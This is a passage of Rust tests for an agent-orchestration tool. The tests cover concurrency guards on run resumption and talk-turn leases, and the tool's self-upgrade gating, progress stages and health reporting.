21351 #[tokio::test]
21352 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21353 let fx = Fixture::start().await;
21354 let runs = fx.runs();
21355 let id = "20260901-000000-livemerge";
21356 write_run(&runs, id, RunStatus::Blocked);
21357
21358 let mut beat = crate::daemon::Status::new();
21359 beat.current = vec![crate::daemon::Current {
21360 task: "20260901-000000-task".to_owned(),
21361 run: id.to_owned(),
21362 }];
21363 beat.updated_at = jiff::Timestamp::now();
21364 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21365 .expect("publish a heartbeat");
21366
21367 let res = fx
21368 .post(
21369 &format!("/api/runs/{id}/fold-merged"),
21370 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21371 )
21372 .await;
21373 assert_eq!(res.status, 409, "{}", res.body);
21374 assert!(
21375 res.json()["error"]
21376 .as_str()
21377 .unwrap()
21378 .contains("live daemon"),
21379 "correcting a run's merge underneath a running agent would race \
21380 whatever it is doing to the same `status`/`merge` fields"
21381 );
21382 }
21383
21384 #[tokio::test]
21389 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21390 let fx = Fixture::start().await;
21391 let runs = fx.runs();
21392 let id = "20260901-000000-unconfirmed";
21393 write_run(&runs, id, RunStatus::Blocked);
21394
21395 let res = fx
21396 .post(
21397 &format!("/api/runs/{id}/fold-merged"),
21398 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21399 )
21400 .await;
21401 assert_eq!(res.status, 400, "{}", res.body);
21402 assert_eq!(
21403 read_run(&runs, id).unwrap().status,
21404 RunStatus::Blocked,
21405 "a pull request that could not be confirmed merged must leave \
21406 the run exactly where it was"
21407 );
21408 }
21409
21410 #[tokio::test]
21411 async fn terminal_runs_cannot_be_resumed() {
21412 let fx = Fixture::start().await;
21413 let runs = fx.runs();
21414
21415 for (status, word) in [
21416 (RunStatus::Merged, "merged"),
21417 (RunStatus::Ready, "ready"),
21418 (RunStatus::Failed, "failed"),
21419 ] {
21420 let id = format!("20260901-000000-{}", &word[..4]);
21421 write_run(&runs, &id, status);
21422 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21423 assert_eq!(res.status, 409, "{word} must not be resumable");
21424 }
21425 }
21426
21427 #[tokio::test]
21428 async fn resume_is_refused_while_the_loop_is_running() {
21429 let fx = Fixture::start().await;
21430 let runs = fx.runs();
21431 let stalled = "20260901-000000-stal";
21432 write_run(&runs, stalled, RunStatus::Stalled);
21433
21434 let mut beat = crate::daemon::Status::new();
21438 beat.current = vec![crate::daemon::Current {
21439 task: "20260901-000000-task".to_owned(),
21440 run: "20260901-000000-othr".to_owned(),
21441 }];
21442 beat.updated_at = jiff::Timestamp::now();
21443 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21444 .expect("publish a heartbeat");
21445
21446 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21447 assert_eq!(res.status, 409);
21448 let err = res.json()["error"].as_str().unwrap().to_owned();
21449 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21450 assert!(err.contains("stop it first"), "{err}");
21451 }
21452
21453 #[test]
21454 fn a_run_cannot_be_resumed_twice_at_once() {
21455 let home = TempDir::new().expect("temp home");
21456 let ui = Ui::new(
21457 Queue::at(home.path().join("queue")),
21458 Questions::at(home.path().join("questions")),
21459 Talks::at(home.path().join("talks")),
21460 home.path().join("runs"),
21461 home.path().to_path_buf(),
21462 PathBuf::from("/repo"),
21463 )
21464 .with_worktrees_root(home.path().join("wt"));
21465 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21466 let again = ui.begin_resume("20260901-000000-once");
21467 assert!(again.is_err(), "a second tap must not start a second graph");
21468 drop(first);
21469 assert!(
21470 ui.begin_resume("20260901-000000-once").is_ok(),
21471 "and the claim is released when the attempt ends"
21472 );
21473 }
21474
21475 #[test]
21476 fn talk_thinking_tracks_only_its_held_turn_claim() {
21477 let home = TempDir::new().expect("temp home");
21478 let ui = Ui::new(
21479 Queue::at(home.path().join("queue")),
21480 Questions::at(home.path().join("questions")),
21481 Talks::at(home.path().join("talks")),
21482 home.path().join("runs"),
21483 home.path().to_path_buf(),
21484 PathBuf::from("/repo"),
21485 )
21486 .with_worktrees_root(home.path().join("wt"));
21487 let id = "20260901-000000-once";
21488
21489 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21490 let turn = ui.begin_talk_turn(id).expect("claim turn");
21491 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21492 assert!(
21493 !ui.is_thinking("20260901-000000-other"),
21494 "one talk's turn does not make another talk busy"
21495 );
21496 drop(turn);
21497 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21498 }
21499
21500 #[test]
21501 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21502 let home = TempDir::new().expect("temp home");
21503 let talks = Talks::at(home.path().join("talks"));
21504 let ui = Ui::new(
21505 Queue::at(home.path().join("queue")),
21506 Questions::at(home.path().join("questions")),
21507 talks.clone(),
21508 home.path().join("runs"),
21509 home.path().to_path_buf(),
21510 PathBuf::from("/repo"),
21511 )
21512 .with_worktrees_root(home.path().join("wt"));
21513 let id = "20260901-000000-cross";
21514
21515 let other = Talks::at(home.path().join("talks"))
21516 .claim_turn(id)
21517 .expect("claim")
21518 .expect("the other process wins");
21519 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21520 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21521 assert!(
21522 matches!(
21523 ui.begin_talk_turn_unless_pending(id).expect("start"),
21524 TalkTurnStart::Foreign
21525 ),
21526 "a foreign holder is refused, not queued behind"
21527 );
21528 assert!(
21529 !ui.talk_turns.lock().unwrap().live.contains(id),
21530 "a refused claim leaves no in-process entry behind"
21531 );
21532 drop(other);
21533 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21534 assert!(talks.turn_held(id), "the web turn holds the lease");
21535 drop(turn);
21536 assert!(
21537 !talks.turn_held(id),
21538 "dropping the guard releases the lease"
21539 );
21540 }
21541
21542 fn consult_question(ui: &Ui) -> Question {
21543 let mut q = Question::new(
21544 "20260901-000000-consult".to_owned(),
21545 "implement".to_owned(),
21546 "impl-A".to_owned(),
21547 "Which backend?".to_owned(),
21548 String::new(),
21549 vec!["SQLite".to_owned(), "Redis".to_owned()],
21550 );
21551 ui.questions.put(&mut q).expect("question");
21552 q
21553 }
21554
21555 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21556 (
21557 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21558 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21559 )
21560 }
21561
21562 #[tokio::test]
21563 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21564 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21565 let q = consult_question(&ui);
21566 let talk = ui.talks.get(&id).expect("talk");
21567 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21568 let before = consult_snapshot(&ui, &q, &id);
21569 let cli_talks = Talks::at(ui.home.join("talks"));
21570 assert_eq!(
21571 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21572 .await
21573 .expect("CLI starter"),
21574 crate::consult::Started::Busy
21575 );
21576 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21577 assert!(ui.is_thinking(&id));
21578 drop(guard);
21579 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21580 }
21581
21582 #[tokio::test]
21583 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21584 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21585 let q = consult_question(&ui);
21586 let talk = ui.talks.get(&id).expect("talk");
21587 let started = tmp.path().join("started");
21588 let release = tmp.path().join("release");
21589 let script = tmp.path().join("consult-agent.sh");
21590 std::fs::write(
21591 &script,
21592 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21593 )
21594 .expect("script");
21595 let mut cfg = stub_config();
21596 cfg.agents[0].id = "mock".to_owned();
21597 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21598 cfg.agents[0].env = std::collections::BTreeMap::from([
21599 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21600 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21601 ]);
21602 let questions = ui.questions.clone();
21603 let cli_talks = Talks::at(ui.home.join("talks"));
21604 let cli_q = q.clone();
21605 let turn = tokio::spawn(async move {
21606 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21607 });
21608 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21609 while !started.exists() {
21610 tokio::time::sleep(Duration::from_millis(10)).await;
21611 }
21612 })
21613 .await;
21614 let refusal = if ready.is_ok() {
21617 let before = consult_snapshot(&ui, &q, &id);
21618 let result = talk_say(
21619 State(Arc::clone(&ui)),
21620 Path(id.clone()),
21621 Ok(Json(NewTalkTurn {
21622 reply_to: None,
21623 text: "another message".to_owned(),
21624 attachments: Vec::new(),
21625 })),
21626 )
21627 .await;
21628 Some((result, before, consult_snapshot(&ui, &q, &id)))
21629 } else {
21630 None
21631 };
21632 std::fs::write(&release, "").expect("release agent");
21633 let done = turn.await.expect("join CLI turn");
21634 ready.expect("agent started before deadline");
21635 let (result, before, after) = refusal.expect("web request");
21636 let error = result.expect_err("web must refuse the CLI's turn");
21637 assert_eq!(error.status, StatusCode::CONFLICT);
21638 assert!(error.message.contains("a turn is already running"));
21639 assert_eq!(
21640 after, before,
21641 "refusal preserves question, draft and history"
21642 );
21643 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21644 let guard = ui
21645 .begin_talk_turn(&id)
21646 .expect("web claim")
21647 .expect("free again");
21648 drop(guard);
21649 }
21650
21651 #[test]
21652 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21653 let home = TempDir::new().expect("temp home");
21654 let talks = Talks::at(home.path().join("talks"));
21655 let ui = Ui::new(
21656 Queue::at(home.path().join("queue")),
21657 Questions::at(home.path().join("questions")),
21658 talks.clone(),
21659 home.path().join("runs"),
21660 home.path().to_path_buf(),
21661 PathBuf::from("/repo"),
21662 )
21663 .with_worktrees_root(home.path().join("wt"));
21664 let id = "20260901-000000-order";
21665 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21666 let slots = ui.talk_turns.lock().unwrap();
21668 let dropper = std::thread::spawn(move || drop(turn));
21669 let start = std::time::Instant::now();
21670 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21671 std::thread::sleep(Duration::from_millis(5));
21672 }
21673 assert!(!talks.turn_held(id), "the lease is released first");
21674 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21675 drop(slots);
21676 dropper.join().expect("join");
21677 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21678 }
21679
21680 #[tokio::test]
21681 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21682 let fx = Fixture::start().await;
21683 let mut beat = crate::daemon::Status::new();
21684 beat.worker_protocol = None;
21685 beat.pid = 4321;
21686 beat.updated_at = jiff::Timestamp::now();
21687 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21688 .expect("publish a heartbeat");
21689
21690 let res = fx.post("/api/upgrade", None).await;
21691 assert_eq!(res.status, 409);
21692 }
21693
21694 #[test]
21701 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21702 assert!(!should_spawn_recheck(&crate::config::Update {
21703 mode: UpdateMode::Off,
21704 interval: None,
21705 auto_restart: false,
21706 }));
21707
21708 unsafe {
21711 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21712 }
21713 let killed = should_spawn_recheck(&crate::config::Update {
21714 mode: UpdateMode::Notify,
21715 interval: None,
21716 auto_restart: false,
21717 });
21718 unsafe {
21719 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21720 }
21721 assert!(
21722 !killed,
21723 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21724 one-time startup check"
21725 );
21726
21727 assert!(should_spawn_recheck(&crate::config::Update {
21728 mode: UpdateMode::Notify,
21729 interval: None,
21730 auto_restart: false,
21731 }));
21732 }
21733
21734 #[test]
21740 fn recheck_poll_period_tracks_a_short_configured_interval() {
21741 let short = crate::config::Update {
21742 mode: UpdateMode::Notify,
21743 interval: Some("1m".to_owned()),
21744 auto_restart: false,
21745 };
21746 let period = recheck_poll_period(&short);
21747 assert!(
21748 period <= Duration::from_secs(30),
21749 "a one-minute interval must wake the task far sooner than the \
21750 default ceiling, or the deck would not notice within the \
21751 interval the operator configured: got {period:?}"
21752 );
21753
21754 let default = crate::config::Update {
21755 mode: UpdateMode::Notify,
21756 interval: None,
21757 auto_restart: false,
21758 };
21759 assert_eq!(
21760 recheck_poll_period(&default),
21761 UPDATE_RECHECK_POLL_MAX,
21762 "the default day-long interval should poll at the (capped) \
21763 ceiling rather than needlessly often"
21764 );
21765 }
21766
21767 #[test]
21775 fn recheck_skips_the_network_before_the_interval_elapses() {
21776 let dir = TempDir::new().expect("temp dir");
21777 let path = dir.path().join("state.json");
21778 let state = kaishin::UpdateCheckState {
21779 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21780 last_known_latest: None,
21781 last_known_url: None,
21782 };
21783 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21784
21785 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21786 assert!(
21787 !update_recheck_due(&checker, None),
21788 "a check made moments ago must not be repeated before the \
21789 configured interval elapses"
21790 );
21791 }
21792
21793 #[test]
21799 fn recheck_defers_to_an_upgrade_already_in_flight() {
21800 let dir = TempDir::new().expect("temp dir");
21801 let path = dir.path().join("state.json");
21802 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21803 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21804
21805 assert!(
21806 !update_recheck_due(&checker, Some(&progress)),
21807 "a recheck must not run while an upgrade this deck started is \
21808 still moving"
21809 );
21810 }
21811
21812 #[tokio::test]
21813 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21814 unsafe {
21826 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21827 }
21828 let fx = Fixture::start().await;
21829 let res = fx.post("/api/upgrade", None).await;
21830 unsafe {
21831 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21832 }
21833 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21834 let body = res.json();
21835 assert!(body["to"].is_null(), "there was no release to move to");
21836 assert!(body["parked"].is_null(), "and nothing was parked");
21837 assert!(
21838 body["detail"]
21839 .as_str()
21840 .unwrap()
21841 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21842 "{body:?}"
21843 );
21844 }
21845
21846 #[test]
21847 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
21848 use AutoUpgradeDecision::{Skip, Trigger, Wait};
21849 let mut cfg = Update::default();
21850 assert!(matches!(
21851 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21852 Skip(_)
21853 ));
21854 cfg.auto_restart = true;
21855 assert_eq!(
21856 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21857 Trigger
21858 );
21859 assert_eq!(
21860 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
21861 Wait
21862 );
21863 for (disabled, moving, failed) in [
21864 (true, false, None),
21865 (false, true, None),
21866 (false, false, Some("v2")),
21867 ] {
21868 assert!(matches!(
21869 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
21870 Skip(_)
21871 ));
21872 }
21873 assert_eq!(
21874 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
21875 Trigger
21876 );
21877 cfg.mode = UpdateMode::Off;
21878 assert!(matches!(
21879 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
21880 Skip(_)
21881 ));
21882 }
21883
21884 #[test]
21885 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
21886 let home = TempDir::new().unwrap();
21887 let ui = idle_ui(&home);
21888 assert!(!ui.auto_upgrade_busy());
21889 let directory = home.path().join("workers/jobs/abcdef");
21890 std::fs::create_dir_all(&directory).unwrap();
21891 let mut job = crate::worker::Job {
21892 id: "abcdef".into(),
21893 sequence: 1,
21894 kind: "scheduler".into(),
21895 key: "scheduler".into(),
21896 payload: serde_json::json!({}),
21897 generation: "test".into(),
21898 version: None,
21899 status: crate::worker::Status::Running,
21900 result: None,
21901 pid: None,
21902 created_at: 0,
21903 finished_at: None,
21904 };
21905 let lease = std::fs::OpenOptions::new()
21906 .create(true)
21907 .truncate(false)
21908 .read(true)
21909 .write(true)
21910 .open(directory.join("live.lock"))
21911 .unwrap();
21912 crate::pr_head::try_lock_file(&lease).unwrap();
21913 let write = |job: &crate::worker::Job| {
21914 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
21915 };
21916 write(&job);
21917 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
21918 for kind in ["task", "chat"] {
21919 job.kind = kind.into();
21920 write(&job);
21921 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
21922 }
21923 drop(lease);
21924 assert!(
21925 !ui.auto_upgrade_busy(),
21926 "completed execution permits updates"
21927 );
21928 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
21929 assert!(
21930 ui.auto_upgrade_busy(),
21931 "unreadable worker state defers updates"
21932 );
21933 }
21934
21935 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
21936 Box::pin(async { anyhow::bail!("test installer failed") })
21937 }
21938
21939 #[tokio::test]
21940 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
21941 let home = TempDir::new().unwrap();
21942 std::fs::write(
21943 home.path().join("magi.toml"),
21944 "[update]\nauto_restart = true\n",
21945 )
21946 .unwrap();
21947 let mut ui = idle_ui(&home);
21948 ui.repo = home.path().to_path_buf();
21949 ui.upgrade_runner = fail_test_upgrade;
21951 let ui = Arc::new(ui);
21952 let latest = || {
21953 Some(kaishin::LatestRelease {
21954 tag_name: "v999.0.0".into(),
21955 html_url: String::new(),
21956 })
21957 };
21958 ui.talk_turns.lock().unwrap().live.insert("busy".into());
21959 assert_eq!(
21960 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21961 .await
21962 .status(),
21963 StatusCode::NO_CONTENT
21964 );
21965 assert!(updater::read_progress(home.path()).is_none());
21966 ui.talk_turns.lock().unwrap().live.clear();
21967 let gate = ui.upgrade_gate.lock().await;
21968 assert_eq!(
21969 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21970 .await
21971 .status(),
21972 StatusCode::CONFLICT
21973 );
21974 drop(gate);
21975 assert_eq!(
21976 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21977 .await
21978 .status(),
21979 StatusCode::ACCEPTED
21980 );
21981 let progress = updater::read_progress(home.path()).unwrap();
21982 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
21983 assert_eq!(progress.stage, updater::Stage::Downloading);
21984 assert!(progress.parked_run.is_none());
21985 assert!(ui.start_detached_loop().await.is_err());
21986 assert!(ui.start_loop(None).is_err());
21987 assert!(ui.begin_resume("late").is_err());
21988 tokio::time::timeout(Duration::from_secs(2), async {
21989 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
21990 tokio::task::yield_now().await;
21991 }
21992 })
21993 .await
21994 .unwrap();
21995 let progress = updater::read_progress(home.path()).unwrap();
21996 assert_eq!(progress.stage, updater::Stage::Failed);
21997 assert_eq!(
21998 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
21999 .await
22000 .status(),
22001 StatusCode::NO_CONTENT
22002 );
22003 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22005 assert_eq!(
22006 finish_upgrade_request(&ui, result).status(),
22007 StatusCode::ACCEPTED
22008 );
22009 assert_eq!(
22010 updater::read_progress(home.path()).unwrap().trigger,
22011 updater::UpgradeTrigger::Manual
22012 );
22013 tokio::time::timeout(Duration::from_secs(2), async {
22014 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22015 tokio::task::yield_now().await;
22016 }
22017 })
22018 .await
22019 .unwrap();
22020 }
22021
22022 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22023 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22024 p.stage = stage;
22025 p
22026 }
22027
22028 #[test]
22029 fn busy_stages_match_the_ui_set() {
22030 use crate::updater::Stage;
22031 assert!(APP_JS.contains(
22032 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22033 ));
22034 for s in [
22035 Stage::Downloading,
22036 Stage::Replaced,
22037 Stage::Parking,
22038 Stage::Restarting,
22039 ] {
22040 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22041 }
22042 for s in [Stage::Done, Stage::Failed] {
22043 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22044 }
22045 assert!(upgrade_in_motion(None).is_none());
22046 }
22047
22048 #[tokio::test]
22049 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22050 use crate::updater::Stage;
22051 for stage in [
22052 Stage::Downloading,
22053 Stage::Replaced,
22054 Stage::Parking,
22055 Stage::Restarting,
22056 ] {
22057 let fx = Fixture::start().await;
22058 let seeded = seeded_progress(stage);
22059 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22060 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22061 .expect("read");
22062
22063 let res = fx.post("/api/upgrade", None).await;
22064 assert_eq!(res.status, 409, "{stage:?}");
22065 let err = res.json()["error"].as_str().unwrap().to_owned();
22066 assert!(err.contains("already in progress"), "{err}");
22067 assert!(err.contains(stage.as_str()), "{err}");
22068
22069 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22070 .expect("read");
22071 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22072 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22073 .unwrap_or_default();
22074 assert!(!log.contains("signalling HANDOVER"), "{log}");
22075 }
22076 }
22077
22078 #[test]
22079 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22080 assert_eq!(
22081 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22082 Some(3723)
22083 );
22084 assert_eq!(
22085 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22086 Some(60)
22087 );
22088 assert_eq!(
22089 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22090 Some(0)
22091 );
22092 for message in [
22093 "permission denied",
22094 "GitHub API rate limit exceeded",
22095 "GitHub rate limit (resets in unknown)",
22096 "GitHub rate limit (resets in 18446744073709551615d)",
22097 ] {
22098 assert_eq!(upgrade_retry_after(message), None, "{message}");
22099 }
22100 }
22101
22102 #[tokio::test]
22103 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22104 let home = TempDir::new().unwrap();
22105 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22106 ui.start_loop(None).unwrap();
22107 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22108 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22109 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22110 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22111 let response = finish_upgrade_request(&ui, result);
22112 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22113 assert_eq!(response.headers()["retry-after"], "120");
22114 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22115 .await
22116 .unwrap();
22117 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22118 assert!(body["error"].as_str().unwrap().contains(reason));
22119 assert_eq!(body["retry_after_secs"], 120);
22120 assert!(body["retry_at"].as_u64().is_some());
22121 for _ in 0..2 {
22122 let view = health(State(ui.clone())).await.unwrap().0;
22123 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22124 assert_eq!(failure, body);
22125 }
22126 assert_eq!(
22127 std::fs::read(updater::progress_path(home.path())).unwrap(),
22128 before
22129 );
22130 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22131 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22132 let gate = ui.upgrade_gate.lock().await;
22134 assert_eq!(
22135 upgrade_post(State(ui.clone())).await.status(),
22136 StatusCode::CONFLICT
22137 );
22138 drop(gate);
22139 assert!(
22140 health(State(ui.clone()))
22141 .await
22142 .unwrap()
22143 .0
22144 .upgrade_request_error
22145 .is_some()
22146 );
22147 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22148 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22149 assert!(
22150 health(State(ui.clone()))
22151 .await
22152 .unwrap()
22153 .0
22154 .upgrade_request_error
22155 .is_none()
22156 );
22157 let live = ui.lock_loop().live.take().unwrap();
22158 live.stop.stop();
22159 live.handle.await.unwrap();
22160 }
22161
22162 #[tokio::test]
22163 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22164 use crate::updater::Stage;
22165 let repo = TempDir::new().expect("repo dir");
22166 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22167 .expect("write magi.toml");
22168 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22169 for stage in [Stage::Done, Stage::Failed] {
22170 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22171 let res = fx.post("/api/upgrade", None).await;
22172 assert_eq!(res.status, 200, "{stage:?}");
22173 }
22174 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22176 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22177 }
22178
22179 #[tokio::test]
22180 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22181 let repo = TempDir::new().expect("repo dir");
22197 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22198 .expect("write magi.toml");
22199 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22200
22201 let res = fx.post("/api/upgrade", None).await;
22207 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22208 let body = res.json();
22209 assert!(body["to"].is_null(), "there was no release to move to");
22210 assert!(body["parked"].is_null(), "and nothing was parked");
22211 assert!(
22212 body["detail"]
22213 .as_str()
22214 .unwrap()
22215 .contains("nothing restarted"),
22216 "{body:?}"
22217 );
22218 }
22219
22220 #[tokio::test]
22221 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22222 let repo = TempDir::new().expect("repo dir");
22227 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22228 .expect("write magi.toml");
22229 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22230
22231 let health = fx.get("/api/health").await.json();
22232 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22233 assert_eq!(
22234 health["update"]["available"], false,
22235 "checking is off, which reads as \"unknown\", not \"none\""
22236 );
22237 assert!(health["update"]["to"].is_null());
22238 assert!(
22239 health["upgrade"].is_null(),
22240 "nothing has ever asked this deck to upgrade"
22241 );
22242 }
22243
22244 #[tokio::test]
22245 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22246 let fx = Fixture::start().await;
22247 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22248
22249 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22250 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22251 progress.advance(crate::updater::Stage::Parking);
22252 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22253
22254 let health = fx.get("/api/health").await.json();
22255 assert_eq!(health["upgrade"]["stage"], "parking");
22256 assert_eq!(health["upgrade"]["from"], "0.5.1");
22257 assert_eq!(health["upgrade"]["to"], "0.5.2");
22258 let waiting_on = health["upgrade"]["waiting_on"]
22259 .as_str()
22260 .expect("waiting_on is set while parking a known run");
22261 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22262 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22263 }
22264
22265 #[tokio::test]
22266 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22267 let fx = Fixture::start().await;
22268 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22269 progress.advance(crate::updater::Stage::Done);
22270 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22271
22272 let health = fx.get("/api/health").await.json();
22273 assert_eq!(health["upgrade"]["stage"], "done");
22274 assert!(
22275 health["upgrade"]["waiting_on"].is_null(),
22276 "nothing to wait on once it is done"
22277 );
22278 }
22279
22280 #[tokio::test]
22283 async fn the_handover_signal_wakes_one_waiter_once() {
22284 let signal = Notify::new();
22285 signal.notify_one();
22287 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22288 .await
22289 .expect("an early signal is still seen");
22290 assert!(
22292 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22293 .await
22294 .is_err(),
22295 "a consumed signal must not wake a second time"
22296 );
22297 let signal = std::sync::Arc::new(signal);
